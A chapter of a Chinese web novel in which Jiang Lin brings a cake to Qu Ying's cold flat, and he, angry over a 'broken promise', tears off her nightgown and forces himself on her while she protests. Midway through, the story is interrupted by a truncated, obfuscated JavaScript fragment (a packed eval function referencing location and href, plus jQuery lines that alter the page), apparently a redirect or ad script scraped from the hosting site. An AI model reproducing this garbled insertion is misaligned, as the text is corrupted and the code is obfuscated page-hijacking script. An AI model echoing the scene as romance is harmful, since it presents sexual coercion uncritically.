池荔 作品
27. 彼此伤害
出门前,和秦心迎面撞了个正着。
她简单道,“秦姐,我有点事!先走了啊。”
“哎,等等,”秦心硬是拖着她的胳膊,将她反方向拽了回来,“你前几天不是刚提前走过?”
“不是前几天,都是上周的事了。”她嘀咕着。
秦心狐疑地打量她,“你最近怎么一下班就往外跑,你着急干什么去啊?江琳,你别在外面交了狐朋狗友,小心被人骗了。”
江琳无语,“说什么呢。我又不是小孩。”
“19岁是多成熟的大人?”
“我今年都20了。马上21岁。”江琳驳道。
“你过生日了吗,你就21了。”
“我不跟你争,我多大我心里有数。”她急着出门,快步道,“好了,我先走了。”
一心念着逃出秦心的视线范围,她走路时将四周带起一阵微风,直到确定秦心连一个小黑点也看不到,她才放慢脚步。
匆忙之下,自然也忘记了秦心最后的叮嘱。
停在第二个十字路口,她反应过来了。
只好掉头绕路进了蛋糕店。
“您好,欢迎光临。请问有会员吗?”
“有。”她颔首,回想着秦心的要求,“你等一下,我看一眼要充多少钱。”
翻到秦心的转账,江琳道,“我充五百,我报手机号给你吧,我今天没带实体卡。”
“好的,都可以。您说……132……,后两位是09对吗?”
“对。”江琳侧头打量着展示柜里的蛋糕,问,“最近充卡有什么优惠吗?或者是赠品之类的?”
“有的。您充值了500,又是老顾客,我们可以赠您一款4寸的小蛋糕,”店员指了下展示柜第一排,“这些都可以,您挑一个喜欢的。”
“只有这些吗?有巧克力味的吗?”
店员抱歉地欠身,“不好意思,巧克力的今天已经卖完了。”
“您也可以看看第二排这几款,都是可以赠送的。”
“星座系列的啊……”江琳目光犹豫,没找到喜欢的款式。
“对了,有天蝎座的吗?”
“不好意思,这款也卖完了。”
“水瓶座这款可以吗?这款也卖的很不错的。”店员热切地推销着,“这款也是百分百动物奶油,夹心也都是用新鲜水果做的,而且我们不卖隔夜货……”
“好了。”
江琳不想再听推销话术,点头道,“那就这款吧。”
拎着蛋糕往曲迎家的方向走,她心里始终惴惴不安的,她为自己的心神不宁感到好笑。
她一没违法乱纪,二没道德沦丧,三没做贼心虚,她在担忧什么?
反反复复地拷问自己,还是没有得到答案。
只有一直忐忑不安的内心。
敲不开的门,迟迟没有回应。
老楼隔音不好,江琳听得到里面来回穿梭的脚步声,所以她确定曲迎在家。
果不其然,她拨通电话,听得到铃声紧跟着响起,然后被挂掉。
她发了条语音,“给我开门,要不然我走了。”
她听到曲迎播放了一遍。
一分钟之后,他走过来开门。
但曲迎似乎没有让她进门的意思,整个人挡在门口,没有留下丝毫缝隙,直直地望着她。
她开口道,“曲迎,外面很冷。”
抬手撩开左侧的随发时,露出冻得通红的手指。本就骨节分明的手掌,因为低温,血管更为明显。
曲迎侧过身,让她进屋。
“先说好了,屋里也暖和不到哪去。”
的确如此。
扑面而来潮湿阴冷的气息,恍惚间甚至怀疑室外比室内更暖和。
江琳轻手轻脚地进门,松开手指,将蛋糕丢在拥挤的茶几上。
“你今天迟到了。”曲迎倏然道。
“是吗?”钟表上显示现在是八点三十五分,她说,“你早点放我进来,我不就没迟到了?”
她的话里不无嘲讽,自然也带上了些许火药味。
不予回答,曲迎突然大力拽过她,江琳怔怔的,木然地跟着他走。
她没有挣扎,闭上眼,安静地承受着。
正是冬天的尾巴,寒意还在,阴郁潮湿的房间里,环境逼仄,他们的身体再无距离,心灵却南辕北辙。
那天她只感受到了疼痛,她觉得曲迎像是故意报复她,可他的目光是那样的冷漠。
让江琳摸不到头脑。
“江琳,你没有信守承诺。”背对着她,曲迎道。
又提到了承诺二字。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15098563|162598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
莫名其妙。
对于他上纲上线的行为,江琳很是不快,“我说了,我没有迟到,我顶多是卡点到的。”
“我说的不是这个。”
那是什么?
前几天他们都没有见面,自然也谈不上履行承诺,略一回想,江琳激灵了下,语气变缓,“你不会说的是,我经期那天没来找你吧?”
她的目光里充斥着难以置信的震惊,就算再没有感情基础,也无法接受曲迎对她像对待物品一般残忍。
“是吗?”她又问了一遍。
多说无益,说多错多。
曲迎紧闭双唇,利落地撕开了她的睡裙。
反抗无效,江琳咬着他的肩膀,“再这样下次我不见你了!”
像是火上浇油一般。
曲迎的力气越发加大,“不见我?不见我你要见谁啊?”
“你管我!总之我不见你就是了!”没有一丝余地可以反抗,江琳只觉得厌恶至极,“你混蛋!你玩不起!”
“你不是就觉得我是这样的人吗?我不是如了你的愿?”曲迎正对着她,将吊带睡裙扯得一干二净,“如你愿也不行?你想让我怎样?”
“我想让你放开我!”
曲迎充耳不闻,并没有停下手中的动作,“你不想待可以走!”
“怎么,你当我是招之即来挥之即去吗!你想怎样就怎样!”
两人像刺猬一般激烈地对抗着。
“我能让你召之即来挥之即去,江琳,在你心里我有这么大本事呢?”曲迎怒极反笑,“我能重要到限制你的行踪了?”
越想越气,曲迎卸了力,一把甩开了她。
他的脾气像开了闸的洪水,倾泻而下,头也不回地走开。
动作幅度太大,甚至没有注意到,茶几上的蛋糕坠在地上,被他一脚踢翻。
他转头进了卧室,重重地摔了下门。
那扇本就老旧的木门,砰地一声被合上,由于太过破旧,又吱呀呀地自己弹开。
江琳僵坐在沙发上没动。
她的眼睛雾蒙蒙的,微微侧着头,整个人蜷缩在沙发上,像是破碎的洋娃娃。
俄顷,曲迎从房间里走出来。
他弯腰捡起摔在地上的蛋糕,看清了上层的水瓶座图案,目光里不无错愕,“这是生日蛋糕?”
江琳起身要走。